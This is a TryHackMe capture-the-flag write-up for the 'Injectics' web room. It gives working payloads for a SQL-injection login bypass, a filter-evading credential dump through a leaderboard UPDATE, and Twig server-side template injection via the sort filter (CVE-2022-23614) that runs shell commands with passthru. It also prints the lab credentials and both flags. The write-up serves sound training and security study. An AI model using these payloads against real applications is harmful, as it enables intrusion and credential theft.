Table of Contents
Injectics - TryHackMe CTF Write-Up #
🏴 Platform: TryHackMe
🔬 Category: Web Application Pentesting (Injection)
🟠 Difficulty: Medium
📅 Date: 2026-06-12
✍️ Author: t0nt0n
⏱️ Reading time: ~7 min
Two flags, two injection classes. Flag 1 is a SQL injection chain that ends in a cleartext password dump. Flag 2 is a Server-Side Template Injection that looks unexploitable until you notice one filter that the Twig sandbox forgot to lock down.
Reconnaissance #
The home page leaks a developer identity and a log file in HTML comments:
1<!-- Website developed by John Tim - dev@injectics.thm-->
2<!-- Mails are stored in mail.log file-->
mail.log describes a watchdog service ("Injectics") that re-inserts default
credentials into the users table every minute if the table is deleted or corrupted.
Those defaults do not work as-is, but the message confirms the table name and that
passwords live in users.
Endpoint map:
| Endpoint | Role |
|---|---|
login.php |
normal login form, posts to functions.php (AJAX) |
functions.php |
login handler, SQLi here |
adminLogin007.php |
"Login as Admin" page, prepared statement (not injectable) |
dashboard.php |
leaderboard, renders Welcome, {fname}! (SSTI sink) |
edit_leaderboard.php |
admin-only UPDATE, second SQLi |
update_profile.php |
profile edit, sets the fname rendered on the dashboard |
/flags/ |
403, no directory listing |
Source is web-readable, which pins the template engine:
1curl -s http://$IP/vendor/composer/installed.json | grep -A2 '"twig/twig"'
2# twig/twig v2.14.0
Twig 2.14.0 is the key fact for flag 2.

Rabbit Holes #
The dead ends that cost real time, documented so future-me does not repeat them.
Injecting on the wrong login page. The obvious target is the "Login as Admin"
page (adminLogin007.php). Feeding it superadmin@injectics.thm'-- - does nothing:
it is a parameterized query, immune to injection. The injectable login is the
normal one (functions.php). And even that bypass does not reveal a flag, it only
grants a session. The dashboard after the bypass shows Welcome, admin! with no flag
(redirect carries isadmin=false). The bypass is only a means to reach the admin-only
leaderboard editor.
The client-side keyword filter. The login and leaderboard forms run JavaScript that
pops Invalid keywords detected and blocks the request before it leaves the browser as
soon as it sees ' " or and union select. This also catches the server-side bypass
payload seselectlect because the substring select is still present. Conclusion: the
forms cannot carry the injection, the request has to be crafted out of band (Burp
Repeater, DevTools console, or curl). The server-side filter is a separate, weaker
str_replace single pass on or/and/union/select, trivially defeated by nesting
(seselectlect -> select, passwoorrd -> password).

Reading /flags/ over SQL. Full SQLi as root@localhost, so LOAD_FILE looked
promising. Dead end: @@secure_file_priv = /var/lib/mysql-files/, which blocks both
LOAD_FILE and INTO OUTFILE outside that directory. No file read, no webshell drop
through MySQL.
Escaping the Twig sandbox the "normal" way. The classic {{_self.env...}} chain is
dead here: any reference to _self throws Tag "import" is not allowed, because in
Twig 2.x _self routes through the macro import machinery and the sandbox blocks the
import tag. _context holds only _parent, so there is no object to pivot from. The
map, filter and reduce filters reject string callables (The callable passed to the X filter must be a Closure in sandbox mode), a restriction added in Twig 2.13.1.
Method and property access on any object is blocked by the SecurityPolicy. It really
looks unexploitable.
Brute-forcing the flag filename. /flags/ returns 403 with no listing, and
flag.txt / flag1.txt / flag2.txt all 404. The file turned out to have a random
32-hex name, so guessing was never going to work. RCE was mandatory to even learn the
filename.
Exploitation #
Flag 1: SQLi chain to a cleartext password #
A three-step chain, because no single payload prints the flag.
Step 1, auth bypass to get a session. Comment out the password check on the normal
login. The session is needed to reach edit_leaderboard.php (which 302-redirects
without one).
1POST /functions.php HTTP/1.1
2Content-Type: application/x-www-form-urlencoded
3
4username=superadmin@injectics.thm'-- -&password=lol&function=login
Response: {"status":"success","is_admin":"true",...,"redirect_link":"dashboard.php?isadmin=false"}.

Step 2, SQLi in the leaderboard editor (results exfiltrated through the dashboard). The UPDATE behind
edit_leaderboard.php puts the numeric fields unquoted. Inject into gold, write a
subquery result into the country column (which is displayed back on the dashboard),
and comment out the trailing WHERE so every row is overwritten. Bypass the server
filter with seselectlect and passwoorrd.
1POST /edit_leaderboard.php HTTP/1.1
2Content-Type: application/x-www-form-urlencoded
3Cookie: PHPSESSID=<session from step 1>
4
5gold=0, country=(seselectlect group_concat(email,0x3a,passwoorrd) from users)-- -&silver=0&bronze=0&rank=1&country=z
The response is a 302 to dashboard.php. Load the dashboard and read the Country
column:
Reveal dumped credentials
dev@injectics.thm:2342sdsfwf2wr2rf (auth=1)
superadmin@injectics.thm:34234vsdfwr2r2wf2r2 (auth=0, the real admin)
Passwords are stored in plaintext, so there is nothing to crack.

Step 3, log in for real. adminLogin007.php is a prepared statement, so it cannot
be bypassed, but it accepts the genuine credentials. Submit the form normally:
- Email:
superadmin@injectics.thm - Password: the dumped
superadminvalue (auth=0)
The session becomes a true admin and the dashboard prints flag 1.

Flag 2: Twig SSTI via the sort filter (CVE-2022-23614) #
The fname field of update_profile.php is rendered through Twig on the dashboard
(Welcome, {fname}!). Confirm with {{7*7}} -> 49.
The sandbox blocks almost everything (see Rabbit Holes), but there is one hole. Twig
2.13.1 restricted map, filter and reduce callables to closures, but forgot the
sort filter. That gap is CVE-2022-23614, fixed only in 2.14.11. On 2.14.0,
sort('<php_function>') still passes a string callable straight to PHP. Pairing it with
passthru, which writes its output directly to the response, gives reflected RCE with
no reverse shell.
Confirm code execution (no argument, no stderr to worry about):
1{{['id','']|sort('passthru')}}
Dashboard prints Welcome, uid=33(www-data) gid=33(www-data) ....
Two gotchas before reading the flag:
/flags/is a web path. There is no/flagsat the filesystem root, the real directory is/var/www/html/flags/.passthruonly captures stdout. Append2>&1on any command with arguments, or a stderr-only error (wrong path, permission denied) shows up asArrayinstead of output.
Locate and read the randomly named flag file (the * glob is expanded because
passthru runs through sh -c):
1POST /update_profile.php HTTP/1.1
2Content-Type: application/x-www-form-urlencoded
3Cookie: PHPSESSID=<admin session>
4
5fname={{['cat /var/www/html/flags/* 2>%261','']|sort('passthru')}}&lname=x&email=superadmin@injectics.thm
%261 is &1 URL-encoded, since a raw & would split the POST body. Reload
/dashboard.php and the flag replaces the username in the welcome line.
Flags #
Reveal Flag 1 (admin panel)
THM{INJECTICS_ADMIN_PANEL_007}
Reveal Flag 2 (SSTI RCE)
THM{5735172b6c147f4dd649872f73e0fdea}
Tools Used #
- Burp Suite (Repeater) to craft requests past the client-side keyword filter
curlfor quick endpoint and version enumeration- The browser DevTools console as a filter-free alternative to Burp
- Twig source knowledge (
composer.lock, CHANGELOG) to pin the version and CVE
Lessons Learned #
- A "Login as Admin" page is bait. Prepared statements do not care about quotes, the injectable surface was the ordinary login plus the leaderboard editor.
- Client-side keyword filters never protect the server. They only force you to send the request out of band, and they leak the exact blocklist for free.
- A locked Twig sandbox is not automatically safe. Check the engine version against the
changelog: 2.14.0 closed the closure hole for
map/filter/reducebut leftsortopen until 2.14.11 (CVE-2022-23614). passthruonly returns stdout. Always add2>&1when a command takes arguments, or you will misread a stderr error as "no output".- A web path is not a filesystem path.
/flags/lived at/var/www/html/flags/, and a randomized filename meant RCE was the only way in, not brute force.